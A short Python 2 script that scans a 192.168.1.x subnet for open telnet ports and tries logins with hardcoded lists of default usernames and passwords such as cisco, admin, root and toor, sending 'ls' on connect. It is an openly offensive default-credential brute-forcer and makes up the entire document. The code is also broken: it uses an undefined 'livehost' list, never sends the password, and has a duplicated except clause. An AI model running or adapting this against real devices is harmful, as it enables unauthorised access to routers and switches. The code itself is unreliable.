python

import socket
import sys, os, telnetlib

Passwordlist = ['Telnet', 'security','synet','tech','PASSWORD','cisco','Cisco','anicust','switch','','friend','admin','Admin','ascend','pass','root']
userlist = ['play','Telnet','telnet','root','Root','admin','Admin','','cisco','Cisco','toor']

ports = [23]

for hosts in range(256):
    for port in ports:
        try:
            host = '192.168.1.' + str(hosts)
            print "[+] Connecting to " + host + ":" + str(port)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            result = s.connect_ex((host, port))
            if result == 0:
                print "  [*] Port " + str(port) + " open!"
                print "trying passwords:"
            for x in livehost :
                print x
                for a in userlist:
                    for b in Passwordlist:
                        Host = x
                        user = a
                        password = b
                        try:
                            tn = telnetlib.Telnet(Host)
                            tn.read_until("login: ")
                            tn.write(user + "\n")
                            tn.write("ls\n")
                            tn.write("exit\n")
                            print tn.read_all()
                            break
                        except:
                            print "connection error ip = " ,x
                            print "user = " ,a
                            print "password = " ,b
                            print "\n"
                            s.close()
                        except:
                            pass